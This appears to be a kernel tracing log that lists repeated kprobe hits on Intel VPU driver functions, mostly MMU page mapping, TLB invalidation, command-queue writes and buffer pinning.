+kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page 